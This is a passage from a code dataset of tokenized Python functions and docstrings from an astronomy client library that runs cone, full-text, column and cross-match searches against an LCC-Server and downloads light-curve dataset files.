dataset_csv)):<EOL><INDENT>LOGWARNING('<STR_LIT>')<EOL>local_dataset_csv = os.path.join(localdir, dataset_csv)<EOL><DEDENT>else:<EOL><INDENT>if apikey:<EOL><INDENT>headers = {'<STR_LIT>':'<STR_LIT>' % apikey}<EOL><DEDENT>else:<EOL><INDENT>headers = {}<EOL><DEDENT>req = Request(<EOL>dataset_csv_link,<EOL>data=None,<EOL>headers=headers<EOL>)<EOL>resp = urlopen(req)<EOL>LOGINFO('<STR_LIT>' % dataset_csv)<EOL>localf = os.path.join(localdir, dataset_csv)<EOL>with open(localf, '<STR_LIT:wb>') as outfd:<EOL><INDENT>with resp:<EOL><INDENT>data = resp.read()<EOL>outfd.write(data)<EOL><DEDENT><DEDENT>LOGINFO('<STR_LIT>' % localf)<EOL>local_dataset_csv = localf<EOL><DEDENT><DEDENT>except HTTPError as e:<EOL><INDENT>LOGERROR('<STR_LIT>' %<EOL>(dataset_csv_link, e.code, e.reason))<EOL>local_dataset_csv = None<EOL><DEDENT>LOGINFO('<STR_LIT>' % dataset_lczip_link)<EOL>try:<EOL><INDENT>if os.path.exists(os.path.join(localdir, dataset_lczip)):<EOL><INDENT>LOGWARNING('<STR_LIT>'<EOL>'<STR_LIT>')<EOL>local_dataset_lczip = os.path.join(localdir, dataset_lczip)<EOL><DEDENT>else:<EOL><INDENT>if apikey:<EOL><INDENT>headers = {'<STR_LIT>':'<STR_LIT>' % apikey}<EOL><DEDENT>else:<EOL><INDENT>headers = {}<EOL><DEDENT>req = Request(<EOL>dataset_lczip_link,<EOL>data=None,<EOL>headers=headers<EOL>)<EOL>resp = urlopen(req)<EOL>LOGINFO('<STR_LIT>' % dataset_lczip)<EOL>localf = os.path.join(localdir, dataset_lczip)<EOL>with open(localf, '<STR_LIT:wb>') as outfd:<EOL><INDENT>with resp:<EOL><INDENT>data = resp.read()<EOL>outfd.write(data)<EOL><DEDENT><DEDENT>LOGINFO('<STR_LIT>' % localf)<EOL>local_dataset_lczip = localf<EOL><DEDENT><DEDENT>except HTTPError as e:<EOL><INDENT>LOGERROR('<STR_LIT>' %<EOL>(dataset_lczip_link, e.code, e.reason))<EOL>local_dataset_lczip = None<EOL><DEDENT>return local_dataset_csv, local_dataset_lczip, local_dataset_pickle<EOL>", "docstring": "This retrieves a search result dataset's CSV and any LC zip files.\n\n    Takes the output from the `submit_post_searchquery` function above or a\n    pickle file generated from that function's output if the query timed out.\n\n    Parameters\n    ----------\n\n    searchresult : str or tuple\n        If provided as a str, points to the pickle file created using the output\n        from the `submit_post_searchquery` function. If provided as a tuple,\n        this is the result tuple from the `submit_post_searchquery` function.\n\n    getpickle : False\n        If this is True, will also download the dataset's pickle. Note that\n        LCC-Server is a Python 3.6+ package (while lccs.py still works with\n        Python 2.7) and it saves its pickles in pickle.HIGHEST_PROTOCOL for\n        efficiency, so these pickles may be unreadable in lower Pythons. As an\n        alternative, the dataset CSV contains the full data table and all the\n        information about the dataset in its header, which is JSON\n        parseable. You can also use the function `get_dataset` below to get the\n        dataset pickle information in JSON form.\n\n    outdir : None or str\n        If this is a str, points to the output directory where the results will\n        be placed. If it's None, they will be placed in the current directory.\n\n    apikey : str or None\n        If this is a str, uses the given API key to authenticate the download\n        request. This is useful when you have a private dataset you want to get\n        products for.\n\n    Returns\n    -------\n\n    (local_dataset_csv, local_dataset_lczip, local_dataset_pickle) : tuple\n        This returns a tuple containing paths to the dataset CSV, LC zipfile,\n        and the dataset pickle if getpickle was set to True (None otherwise).", "id": "f14753:m4"}
{"signature": "def cone_search(lcc_server,<EOL>center_ra,<EOL>center_decl,<EOL>radiusarcmin=<NUM_LIT>,<EOL>result_visibility='<STR_LIT>',<EOL>email_when_done=False,<EOL>collections=None,<EOL>columns=None,<EOL>filters=None,<EOL>sortspec=None,<EOL>samplespec=None,<EOL>limitspec=None,<EOL>download_data=True,<EOL>outdir=None,<EOL>maxtimeout=<NUM_LIT>,<EOL>refresh=<NUM_LIT>):", "body": "<EOL>coords = '<STR_LIT>' % (center_ra, center_decl, radiusarcmin)<EOL>params = {<EOL>'<STR_LIT>':coords<EOL>}<EOL>if collections:<EOL><INDENT>params['<STR_LIT>'] = collections<EOL><DEDENT>if columns:<EOL><INDENT>params['<STR_LIT>'] = columns<EOL><DEDENT>if filters:<EOL><INDENT>params['<STR_LIT>'] = filters<EOL><DEDENT>if sortspec:<EOL><INDENT>params['<STR_LIT>'] = json.dumps([sortspec])<EOL><DEDENT>if samplespec:<EOL><INDENT>params['<STR_LIT>'] = int(samplespec)<EOL><DEDENT>if limitspec:<EOL><INDENT>params['<STR_LIT>'] = int(limitspec)<EOL><DEDENT>params['<STR_LIT>'] = result_visibility<EOL>params['<STR_LIT>'] = email_when_done<EOL>if email_when_done:<EOL><INDENT>download_data = False<EOL><DEDENT>have_apikey, apikey, expires = check_existing_apikey(lcc_server)<EOL>if not have_apikey:<EOL><INDENT>apikey, expires = get_new_apikey(lcc_server)<EOL><DEDENT>api_url = '<STR_LIT>' % lcc_server<EOL>searchresult = submit_post_searchquery(api_url, params, apikey)<EOL>status = searchresult[<NUM_LIT:0>]<EOL>if download_data:<EOL><INDENT>if status == '<STR_LIT>':<EOL><INDENT>LOGINFO('<STR_LIT>')<EOL>csv, lczip, pkl = retrieve_dataset_files(searchresult,<EOL>outdir=outdir,<EOL>apikey=apikey)<EOL>if pkl:<EOL><INDENT>return searchresult[<NUM_LIT:1>], csv, lczip, pkl<EOL><DEDENT>else:<EOL><INDENT>return searchresult[<NUM_LIT:1>], csv, lczip<EOL><DEDENT><DEDENT>elif status == '<STR_LIT>':<EOL><INDENT>LOGINFO('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(maxtimeout/<NUM_LIT>, refresh))<EOL>timewaited = <NUM_LIT:0.0><EOL>while timewaited < maxtimeout:<EOL><INDENT>try:<EOL><INDENT>time.sleep(refresh)<EOL>csv, lczip, pkl = retrieve_dataset_files(searchresult,<EOL>outdir=outdir,<EOL>apikey=apikey)<EOL>if (csv and os.path.exists(csv) and<EOL>lczip and os.path.exists(lczip)):<EOL><INDENT>LOGINFO('<STR_LIT>')<EOL>return searchresult[<NUM_LIT:1>], csv, lczip<EOL><DEDENT>timewaited = timewaited + refresh<EOL><DEDENT>except KeyboardInterrupt:<EOL><INDENT>LOGWARNING('<STR_LIT>')<EOL>return searchresult[<NUM_LIT:1>], None, None<EOL><DEDENT><DEDENT>LOGERROR('<STR_LIT>')<EOL>return searchresult[<NUM_LIT:1>], None, None<EOL><DEDENT>else:<EOL><INDENT>LOGERROR('<STR_LIT>')<EOL>return searchresult[<NUM_LIT:1>], None, None<EOL><DEDENT><DEDENT>else:<EOL><INDENT>return searchresult[<NUM_LIT:1>], None, None<EOL><DEDENT>", "docstring": "This runs a cone-search query.\n\n    Parameters\n    ----------\n\n    lcc_server : str\n        This is the base URL of the LCC-Server to talk to.  (e.g. for HAT, use:\n        https://data.hatsurveys.org)\n\n    center_ra,center_decl : float\n        These are the central coordinates of the search to conduct. These can be\n        either decimal degrees of type float, or sexagesimal coordinates of type\n        str:\n\n        - OK: 290.0, 45.0\n        - OK: 15:00:00 +45:00:00\n        - OK: 15 00 00.0 -45 00 00.0\n        - NOT OK: 290.0 +45:00:00\n        - NOT OK: 15:00:00 45.0\n\n    radiusarcmin : float\n        This is the search radius to use for the cone-search. This is in\n        arcminutes. The maximum radius you can use is 60 arcminutes = 1 degree.\n\n    result_visibility : {'private', 'unlisted', 'public'}\n        This sets the visibility of the dataset produced from the search\n        result::\n\n               'private' -> the dataset and its products are not visible or\n                            accessible by any user other than the one that\n                            created the dataset.\n\n               'unlisted' -> the dataset and its products are not visible in the\n                             list of public datasets, but can be accessed if the\n                             dataset URL is known\n\n               'public' -> the dataset and its products are visible in the list\n                           of public datasets and can be accessed by anyone.\n\n    email_when_done : bool\n        If True, the LCC-Server will email you when the search is complete. This\n        will also set `download_data` to False. Using this requires an\n        LCC-Server account and an API key tied to that account.\n\n    collections : list of str or None\n        This is a list of LC collections to search in. If this is None, all\n        collections will be searched.\n\n    columns : list of str or None\n        This is a list of columns to return in the results. Matching objects'\n        object IDs, RAs, DECs, and links to light curve files will always be\n        returned so there is no need to specify these columns. If None, only\n        these columns will be returned: 'objectid', 'ra', 'decl', 'lcfname'\n\n    filters : str or None\n        This is an SQL-like string to use to filter on database columns in the\n        LCC-Server's collections. To see the columns available for a search,\n        visit the Collections tab in the LCC-Server's browser UI. The filter\n        operators allowed are::\n\n            lt      -> less than\n            gt      -> greater than\n            ge      -> greater than or equal to\n            le      -> less than or equal to\n            eq      -> equal to\n            ne      -> not equal to\n            ct      -> contains text\n            isnull  -> column value is null\n            notnull -> column value is not null\n\n        You may use the `and` and `or` operators between filter specifications\n        to chain them together logically.\n\n        Example filter strings::\n\n            \"(propermotion gt 200.0) and (sdssr lt 11.0)\"\n            \"(dered_jmag_kmag gt 2.0) and (aep_000_stetsonj gt 10.0)\"\n            \"(gaia_status ct 'ok') and (propermotion gt 300.0)\"\n            \"(simbad_best_objtype ct 'RR') and (dered_sdssu_sdssg lt 0.5)\"\n\n    sortspec : tuple of two strs or None\n        If not None, this should be a tuple of two items::\n\n            ('column to sort by', 'asc|desc')\n\n        This sets the column to sort the results by. For cone_search, the\n        default column and sort order are 'dist_arcsec' and 'asc', meaning the\n        distance from the search center in ascending order.\n\n    samplespec : int or None\n        If this is an int, will indicate how many rows from the initial search\n        result will be uniformly random sampled and returned.\n\n    limitspec : int or None\n        If this is an int, will indicate how many rows from the initial search\n        result to return in total.\n\n        `sortspec`, `samplespec`, and `limitspec` are applied in this order:\n\n            sample -> sort -> limit\n\n    download_data : bool\n        This sets if the accompanying data from the search results will be\n        downloaded automatically. This includes the data table CSV, the dataset\n        pickle file, and a light curve ZIP file. Note that if the search service\n        indicates that your query is still in progress, this function will block\n        until the light curve ZIP file becomes available. The maximum wait time\n        in seconds is set by maxtimeout and the refresh interval is set by\n        refresh.\n\n        To avoid the wait block, set download_data to False and the function\n        will write a pickle file to `~/.astrobase/lccs/query-[setid].pkl`\n        containing all the information necessary to retrieve these data files\n        later when the query is done. To do so, call the\n        `retrieve_dataset_files` with the path to this pickle file (it will be\n        returned).\n\n    outdir : str or None\n        If this is provided, sets the output directory of the downloaded dataset\n        files. If None, they will be downloaded to the current directory.\n\n    maxtimeout : float\n        The maximum time in seconds to wait for the LCC-Server to respond with a\n        result before timing out. You can use the `retrieve_dataset_files`\n        function to get results later as needed.\n\n    refresh : float\n        The time to wait in seconds before pinging the LCC-Server to see if a\n        search query has completed and dataset result files can be downloaded.\n\n    Returns\n    -------\n\n    tuple\n        Returns a tuple with the following elements::\n\n            (search result status dict,\n             search result CSV file path,\n             search result LC ZIP path)", "id": "f14753:m5"}
{"signature": "def fulltext_search(lcc_server,<EOL>searchterm,<EOL>sesame_lookup=False,<EOL>result_visibility='<STR_LIT>',<EOL>email_when_done=False,<EOL>collections=None,<EOL>columns=None,<EOL>filters=None,<EOL>sortspec=None,<EOL>samplespec=None,<EOL>limitspec=None,<EOL>download_data=True,<EOL>outdir=None,<EOL>maxtimeout=<NUM_LIT>,<EOL>refresh=<NUM_LIT>):", "body": "<EOL>params = {'<STR_LIT>':searchterm}<EOL>if collections:<EOL><INDENT>params['<STR_LIT>'] = collections<EOL><DEDENT>if columns:<EOL><INDENT>params['<STR_LIT>'] = columns<EOL><DEDENT>if filters:<EOL><INDENT>params['<STR_LIT>'] = filters<EOL><DEDENT>if sortspec:<EOL><INDENT>params['<STR_LIT>'] = json.dumps([sortspec])<EOL><DEDENT>if samplespec:<EOL><INDENT>params['<STR_LIT>'] = int(samplespec)<EOL><DEDENT>if limitspec:<EOL><INDENT>params['<STR_LIT>'] = int(limitspec)<EOL><DEDENT>params['<STR_LIT>'] = result_visibility<EOL>params['<STR_LIT>'] = email_when_done<EOL>params['<STR_LIT>'] = sesame_lookup<EOL>if email_when_done:<EOL><INDENT>download_data = False<EOL><DEDENT>have_apikey, apikey, expires = check_existing_apikey(lcc_server)<EOL>if not have_apikey:<EOL><INDENT>apikey, expires = get_new_apikey(lcc_server)<EOL><DEDENT>api_url = '<STR_LIT>' % lcc_server<EOL>searchresult = submit_post_searchquery(api_url, params, apikey)<EOL>status = searchresult[<NUM_LIT:0>]<EOL>if download_data:<EOL><INDENT>if status == '<STR_LIT>':<EOL><INDENT>LOGINFO('<STR_LIT>')<EOL>csv, lczip, pkl = retrieve_dataset_files(searchresult,<EOL>outdir=outdir,<EOL>apikey=apikey)<EOL>if pkl:<EOL><INDENT>return searchresult[<NUM_LIT:1>], csv, lczip, pkl<EOL><DEDENT>else:<EOL><INDENT>return searchresult[<NUM_LIT:1>], csv, lczip<EOL><DEDENT><DEDENT>elif status == '<STR_LIT>':<EOL><INDENT>LOGINFO('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(maxtimeout/<NUM_LIT>, refresh))<EOL>timewaited = <NUM_LIT:0.0><EOL>while timewaited < maxtimeout:<EOL><INDENT>try:<EOL><INDENT>time.sleep(refresh)<EOL>csv, lczip, pkl = retrieve_dataset_files(searchresult,<EOL>outdir=outdir,<EOL>apikey=apikey)<EOL>if (csv and os.path.exists(csv) and<EOL>lczip and os.path.exists(lczip)):<EOL><INDENT>LOGINFO('<STR_LIT>')<EOL>return searchresult[<NUM_LIT:1>], csv, lczip<EOL><DEDENT>timewaited = timewaited + refresh<EOL><DEDENT>except KeyboardInterrupt:<EOL><INDENT>LOGWARNING('<STR_LIT>')<EOL>return searchresult[<NUM_LIT:1>], None, None<EOL><DEDENT><DEDENT>LOGERROR('<STR_LIT>')<EOL>return searchresult[<NUM_LIT:1>], None, None<EOL><DEDENT>else:<EOL><INDENT>LOGERROR('<STR_LIT>')<EOL>return searchresult[<NUM_LIT:1>], None, None<EOL><DEDENT><DEDENT>else:<EOL><INDENT>return searchresult[<NUM_LIT:1>], None, None<EOL><DEDENT>", "docstring": "This runs a full-text search query.\n\n    Parameters\n    ----------\n\n    lcc_server : str\n        This is the base URL of the LCC-Server to talk to.  (e.g. for HAT, use:\n        https://data.hatsurveys.org)\n\n    searchterm : str\n        This is the term to look for in a full-text search of the LCC-Server's\n        collections. This can be an object name, tag, description, etc., as\n        noted in the LCC-Server's full-text search tab in its browser UI. To\n        search for an exact match to a string (like an object name), you can add\n        double quotes around the string, e.g. searchitem = '\"exact match to me\n        needed\"'.\n\n    sesame_lookup : bool\n        If True, means the LCC-Server will assume the provided search term is a\n        single object's name, look up its coordinates using the CDS SIMBAD\n        SESAME name resolution service, and then search the LCC-Server for any\n        matching objects. The object name can be either a star name known to\n        SIMBAD, or it can be an extended source name (e.g. an open cluster or\n        nebula). In the first case, a search radius of 5 arcseconds will be\n        used. In the second case, a search radius of 1 degree will be used to\n        find all nearby database objects associated with an extended source\n        name.\n\n    result_visibility : {'private', 'unlisted', 'public'}\n        This sets the visibility of the dataset produced from the search\n        result::\n\n               'private' -> the dataset and its products are not visible or\n                            accessible by any user other than the one that\n                            created the dataset.\n\n               'unlisted' -> the dataset and its products are not visible in the\n                             list of public datasets, but can be accessed if the\n                             dataset URL is known\n\n               'public' -> the dataset and its products are visible in the list\n                           of public datasets and can be accessed by anyone.\n\n    email_when_done : bool\n        If True, the LCC-Server will email you when the search is complete. This\n        will also set `download_data` to False. Using this requires an\n        LCC-Server account and an API key tied to that account.\n\n    collections : list of str or None\n        This is a list of LC collections to search in. If this is None, all\n        collections will be searched.\n\n    columns : list of str or None\n        This is a list of columns to return in the results. Matching objects'\n        object IDs, RAs, DECs, and links to light curve files will always be\n        returned so there is no need to specify these columns. If None, only\n        these columns will be returned: 'objectid', 'ra', 'decl', 'lcfname'\n\n    filters : str or None\n        This is an SQL-like string to use to filter on database columns in the\n        LCC-Server's collections. To see the columns available for a search,\n        visit the Collections tab in the LCC-Server's browser UI. The filter\n        operators allowed are::\n\n            lt      -> less than\n            gt      -> greater than\n            ge      -> greater than or equal to\n            le      -> less than or equal to\n            eq      -> equal to\n            ne      -> not equal to\n            ct      -> contains text\n            isnull  -> column value is null\n            notnull -> column value is not null\n\n        You may use the `and` and `or` operators between filter specifications\n        to chain them together logically.\n\n        Example filter strings::\n\n            \"(propermotion gt 200.0) and (sdssr lt 11.0)\"\n            \"(dered_jmag_kmag gt 2.0) and (aep_000_stetsonj gt 10.0)\"\n            \"(gaia_status ct 'ok') and (propermotion gt 300.0)\"\n            \"(simbad_best_objtype ct 'RR') and (dered_sdssu_sdssg lt 0.5)\"\n\n    sortspec : tuple of two strs or None\n        If not None, this should be a tuple of two items::\n\n            ('column to sort by', 'asc|desc')\n\n        This sets the column to sort the results by. For cone_search, the\n        default column and sort order are 'dist_arcsec' and 'asc', meaning the\n        distance from the search center in ascending order.\n\n    samplespec : int or None\n        If this is an int, will indicate how many rows from the initial search\n        result will be uniformly random sampled and returned.\n\n    limitspec : int or None\n        If this is an int, will indicate how many rows from the initial search\n        result to return in total.\n\n        `sortspec`, `samplespec`, and `limitspec` are applied in this order:\n\n            sample -> sort -> limit\n\n    download_data : bool\n        This sets if the accompanying data from the search results will be\n        downloaded automatically. This includes the data table CSV, the dataset\n        pickle file, and a light curve ZIP file. Note that if the search service\n        indicates that your query is still in progress, this function will block\n        until the light curve ZIP file becomes available. The maximum wait time\n        in seconds is set by maxtimeout and the refresh interval is set by\n        refresh.\n\n        To avoid the wait block, set download_data to False and the function\n        will write a pickle file to `~/.astrobase/lccs/query-[setid].pkl`\n        containing all the information necessary to retrieve these data files\n        later when the query is done. To do so, call the\n        `retrieve_dataset_files` with the path to this pickle file (it will be\n        returned).\n\n    outdir : str or None\n        If this is provided, sets the output directory of the downloaded dataset\n        files. If None, they will be downloaded to the current directory.\n\n    maxtimeout : float\n        The maximum time in seconds to wait for the LCC-Server to respond with a\n        result before timing out. You can use the `retrieve_dataset_files`\n        function to get results later as needed.\n\n    refresh : float\n        The time to wait in seconds before pinging the LCC-Server to see if a\n        search query has completed and dataset result files can be downloaded.\n\n    Returns\n    -------\n\n    tuple\n        Returns a tuple with the following elements::\n\n            (search result status dict,\n             search result CSV file path,\n             search result LC ZIP path)", "id": "f14753:m6"}
{"signature": "def column_search(lcc_server,<EOL>filters,<EOL>result_visibility='<STR_LIT>',<EOL>email_when_done=False,<EOL>collections=None,<EOL>columns=None,<EOL>sortspec=('<STR_LIT>','<STR_LIT>'),<EOL>samplespec=None,<EOL>limitspec=None,<EOL>download_data=True,<EOL>outdir=None,<EOL>maxtimeout=<NUM_LIT>,<EOL>refresh=<NUM_LIT>):", "body": "<EOL>params = {<EOL>'<STR_LIT>':filters<EOL>}<EOL>if collections:<EOL><INDENT>params['<STR_LIT>'] = collections<EOL><DEDENT>if columns:<EOL><INDENT>params['<STR_LIT>'] = columns<EOL><DEDENT>if sortspec:<EOL><INDENT>params['<STR_LIT>'] = json.dumps([sortspec])<EOL><DEDENT>if samplespec:<EOL><INDENT>params['<STR_LIT>'] = int(samplespec)<EOL><DEDENT>if limitspec:<EOL><INDENT>params['<STR_LIT>'] = int(limitspec)<EOL><DEDENT>params['<STR_LIT>'] = result_visibility<EOL>params['<STR_LIT>'] = email_when_done<EOL>if email_when_done:<EOL><INDENT>download_data = False<EOL><DEDENT>have_apikey, apikey, expires = check_existing_apikey(lcc_server)<EOL>if not have_apikey:<EOL><INDENT>apikey, expires = get_new_apikey(lcc_server)<EOL><DEDENT>api_url = '<STR_LIT>' % lcc_server<EOL>searchresult = submit_post_searchquery(api_url, params, apikey)<EOL>status = searchresult[<NUM_LIT:0>]<EOL>if download_data:<EOL><INDENT>if status == '<STR_LIT>':<EOL><INDENT>LOGINFO('<STR_LIT>')<EOL>csv, lczip, pkl = retrieve_dataset_files(searchresult,<EOL>outdir=outdir,<EOL>apikey=apikey)<EOL>if pkl:<EOL><INDENT>return searchresult[<NUM_LIT:1>], csv, lczip, pkl<EOL><DEDENT>else:<EOL><INDENT>return searchresult[<NUM_LIT:1>], csv, lczip<EOL><DEDENT><DEDENT>elif status == '<STR_LIT>':<EOL><INDENT>LOGINFO('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(maxtimeout/<NUM_LIT>, refresh))<EOL>timewaited = <NUM_LIT:0.0><EOL>while timewaited < maxtimeout:<EOL><INDENT>try:<EOL><INDENT>time.sleep(refresh)<EOL>csv, lczip, pkl = retrieve_dataset_files(searchresult,<EOL>outdir=outdir,<EOL>apikey=apikey)<EOL>if (csv and os.path.exists(csv) and<EOL>lczip and os.path.exists(lczip)):<EOL><INDENT>LOGINFO('<STR_LIT>')<EOL>return searchresult[<NUM_LIT:1>], csv, lczip<EOL><DEDENT>timewaited = timewaited + refresh<EOL><DEDENT>except KeyboardInterrupt:<EOL><INDENT>LOGWARNING('<STR_LIT>')<EOL>return searchresult[<NUM_LIT:1>], None, None<EOL><DEDENT><DEDENT>LOGERROR('<STR_LIT>')<EOL>return searchresult[<NUM_LIT:1>], None, None<EOL><DEDENT>else:<EOL><INDENT>LOGERROR('<STR_LIT>')<EOL>return searchresult[<NUM_LIT:1>], None, None<EOL><DEDENT><DEDENT>else:<EOL><INDENT>return searchresult[<NUM_LIT:1>], None, None<EOL><DEDENT>", "docstring": "This runs a column search query.\n\n    Parameters\n    ----------\n\n    lcc_server : str\n        This is the base URL of the LCC-Server to talk to.  (e.g. for HAT, use:\n        https://data.hatsurveys.org)\n\n    filters : str or None\n        This is an SQL-like string to use to filter on database columns in the\n        LCC-Server's collections. To see the columns available for a search,\n        visit the Collections tab in the LCC-Server's browser UI. The filter\n        operators allowed are::\n\n            lt      -> less than\n            gt      -> greater than\n            ge      -> greater than or equal to\n            le      -> less than or equal to\n            eq      -> equal to\n            ne      -> not equal to\n            ct      -> contains text\n            isnull  -> column value is null\n            notnull -> column value is not null\n\n        You may use the `and` and `or` operators between filter specifications\n        to chain them together logically.\n\n        Example filter strings::\n\n            \"(propermotion gt 200.0) and (sdssr lt 11.0)\"\n            \"(dered_jmag_kmag gt 2.0) and (aep_000_stetsonj gt 10.0)\"\n            \"(gaia_status ct 'ok') and (propermotion gt 300.0)\"\n            \"(simbad_best_objtype ct 'RR') and (dered_sdssu_sdssg lt 0.5)\"\n\n    result_visibility : {'private', 'unlisted', 'public'}\n        This sets the visibility of the dataset produced from the search\n        result::\n\n               'private' -> the dataset and its products are not visible or\n                            accessible by any user other than the one that\n                            created the dataset.\n\n               'unlisted' -> the dataset and its products are not visible in the\n                             list of public datasets, but can be accessed if the\n                             dataset URL is known\n\n               'public' -> the dataset and its products are visible in the list\n                           of public datasets and can be accessed by anyone.\n\n    email_when_done : bool\n        If True, the LCC-Server will email you when the search is complete. This\n        will also set `download_data` to False. Using this requires an\n        LCC-Server account and an API key tied to that account.\n\n    collections : list of str or None\n        This is a list of LC collections to search in. If this is None, all\n        collections will be searched.\n\n    columns : list of str or None\n        This is a list of columns to return in the results. Matching objects'\n        object IDs, RAs, DECs, and links to light curve files will always be\n        returned so there is no need to specify these columns. If None, only\n        these columns will be returned: 'objectid', 'ra', 'decl', 'lcfname'\n\n    sortspec : tuple of two strs or None\n        If not None, this should be a tuple of two items::\n\n            ('column to sort by', 'asc|desc')\n\n        This sets the column to sort the results by. For cone_search, the\n        default column and sort order are 'dist_arcsec' and 'asc', meaning the\n        distance from the search center in ascending order.\n\n    samplespec : int or None\n        If this is an int, will indicate how many rows from the initial search\n        result will be uniformly random sampled and returned.\n\n    limitspec : int or None\n        If this is an int, will indicate how many rows from the initial search\n        result to return in total.\n\n        `sortspec`, `samplespec`, and `limitspec` are applied in this order:\n\n            sample -> sort -> limit\n\n    download_data : bool\n        This sets if the accompanying data from the search results will be\n        downloaded automatically. This includes the data table CSV, the dataset\n        pickle file, and a light curve ZIP file. Note that if the search service\n        indicates that your query is still in progress, this function will block\n        until the light curve ZIP file becomes available. The maximum wait time\n        in seconds is set by maxtimeout and the refresh interval is set by\n        refresh.\n\n        To avoid the wait block, set download_data to False and the function\n        will write a pickle file to `~/.astrobase/lccs/query-[setid].pkl`\n        containing all the information necessary to retrieve these data files\n        later when the query is done. To do so, call the\n        `retrieve_dataset_files` with the path to this pickle file (it will be\n        returned).\n\n    outdir : str or None\n        If this is provided, sets the output directory of the downloaded dataset\n        files. If None, they will be downloaded to the current directory.\n\n    maxtimeout : float\n        The maximum time in seconds to wait for the LCC-Server to respond with a\n        result before timing out. You can use the `retrieve_dataset_files`\n        function to get results later as needed.\n\n    refresh : float\n        The time to wait in seconds before pinging the LCC-Server to see if a\n        search query has completed and dataset result files can be downloaded.\n\n    Returns\n    -------\n\n    tuple\n        Returns a tuple with the following elements::\n\n            (search result status dict,\n             search result CSV file path,\n             search result LC ZIP path)", "id": "f14753:m7"}
{"signature": "def xmatch_search(lcc_server,<EOL>file_to_upload,<EOL>xmatch_dist_arcsec=<NUM_LIT>,<EOL>result_visibility='<STR_LIT>',<EOL>email_when_done=False,<EOL>collections=None,<EOL>columns=None,<EOL>filters=None,<EOL>sortspec=None,<EOL>limitspec=None,<EOL>samplespec=None,<EOL>download_data=True,<EOL>outdir=None,<EOL>maxtimeout=<NUM_LIT>,<EOL>refresh=<NUM_LIT>):", "body": "with open(file_to_upload) as infd:<EOL><INDENT>xmq = infd.read()<EOL><DEDENT>xmqlines = len(xmq.split('<STR_LIT:\\n>')[:-<NUM_LIT:1>])<EOL>if xmqlines > <NUM_LIT>:<EOL><INDENT>LOGERROR('<STR_LIT>' %<EOL>file_to_upload)<EOL>return None, None, None<EOL><DEDENT>params = {'<STR_LIT>':xmq,<EOL>'<STR_LIT>':xmatch_dist_arcsec}<EOL>if collections:<EOL><INDENT>params['<STR_LIT>'] = collections<EOL><DEDENT>if columns:<EOL><INDENT>params['<STR_LIT>'] = columns<EOL><DEDENT>if filters:<EOL><INDENT>params['<STR_LIT>'] = filters<EOL><DEDENT>if sortspec:<EOL><INDENT>params['<STR_LIT>'] = json.dumps([sortspec])<EOL><DEDENT>if samplespec:<EOL><INDENT>params['<STR_LIT>'] = int(samplespec)<EOL><DEDENT>if limitspec:<EOL><INDENT>params['<STR_LIT>'] = int(limitspec)<EOL><DEDENT>params['<STR_LIT>'] = result_visibility<EOL>params['<STR_LIT>'] = email_when_done<EOL>if email_when_done:<EOL><INDENT>download_data = False<EOL><DEDENT>have_apikey, apikey, expires = check_existing_apikey(lcc_server)<EOL>if not have_apikey:<EOL><INDENT>apikey, expires = get_new_apikey(lcc_server)<EOL><DEDENT>api_url = '<STR_LIT>' % lcc_server<EOL>searchresult = submit_post_searchquery(api_url, params, apikey)<EOL>status = searchresult[<NUM_LIT:0>]<EOL>if download_data:<EOL><INDENT>if status == '<STR_LIT>':<EOL><INDENT>LOGINFO('<STR_LIT>')<EOL>csv, lczip, pkl = retrieve_dataset_files(searchresult,<EOL>outdir=outdir,<EOL>apikey=apikey)<EOL>if pkl:<EOL><INDENT>return searchresult[<NUM_LIT:1>], csv, lczip, pkl<EOL><DEDENT>else:<EOL><INDENT>return searchresult[<NUM_LIT:1>], csv, lczip<EOL><DEDENT><DEDENT>elif status == '<STR_LIT>':<EOL><INDENT>LOGINFO('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(maxtimeout/<NUM_LIT>, refresh))<EOL>timewaited = <NUM_LIT:0.0><EOL>while timewaited < maxtimeout:<EOL><INDENT>try:<EOL><INDENT>time.sleep(refresh)<EOL>csv, lczip, pkl = retrieve_dataset_files(searchresult,<EOL>outdir=outdir,<EOL>apikey=apikey)<EOL>if (csv and os.path.exists(csv) and<EOL>lczip and os.path.exists(lczip)):<EOL><INDENT>LOGINFO('<STR_LIT>')<EOL>return searchresult[<NUM_LIT:1>], csv, lczip<EOL><DEDENT>timewaited = timewaited + refresh<EOL><DEDENT>except KeyboardInterrupt:<EOL><INDENT>LOGWARNING('<STR_LIT>')<EOL>return searchresult[<NUM_LIT:1>], None, None<EOL><DEDENT><DEDENT>LOGERROR('<STR_LIT>')<EOL>return searchresult[<NUM_LIT:1>], None, None<EOL><DEDENT>else:<EOL><INDENT>LOGERROR('<STR_LIT>')<EOL>return searchresult[<NUM_LIT:1>], None, None<EOL><DEDENT><DEDENT>else:<EOL><INDENT>return searchresult[<NUM_LIT:1>], None, None<EOL><DEDENT>", "docstring": "This runs a cross-match search query.\n\n    Parameters\n    ----------\n\n    lcc_server : str\n        This is the base URL of the LCC-Server to talk to.  (e.g. for HAT, use:\n        https://data.hatsurveys.org)\n\n    file_to_upload : str\n        This is the path to a text file containing objectid, RA, declination\n        rows for the objects to cross-match against the LCC-Server\n        collections. This should follow the format of the following example::\n\n            # example object and coordinate list\n            # objectid ra dec\n            aaa 289.99698 44.99839\n            bbb 293.358 -23.206\n            ccc 294.197 +23.181\n            ddd 19 25 27.9129 +42 47 03.693\n            eee 19:25:27 -42:47:03.21\n            # .\n            # .\n            # .\n            # etc. lines starting with '#' will be ignored\n            # (max 5000 objects)\n\n    xmatch_dist_arcsec : float\n        This is the maximum distance in arcseconds to consider when\n        cross-matching objects in the uploaded file to the LCC-Server's\n        collections. The maximum allowed distance is 30 arcseconds. Multiple\n        matches to an uploaded object are possible and will be returned in order\n        of increasing distance grouped by input `objectid`.\n\n    result_visibility : {'private', 'unlisted', 'public'}\n        This sets the visibility of the dataset produced from the search\n        result::\n\n               'private' -> the dataset and its products are not visible or\n                            accessible by any user other than the one that\n                            created the dataset.\n\n               'unlisted' -> the dataset and its products are not visible in the\n                             list of public datasets, but can be accessed if the\n                             dataset URL is known\n\n               'public' -> the dataset and its products are visible in the list\n                           of public datasets and can be accessed by anyone.\n\n    email_when_done : bool\n        If True, the LCC-Server will email you when the search is complete. This\n        will also set `download_data` to False. Using this requires 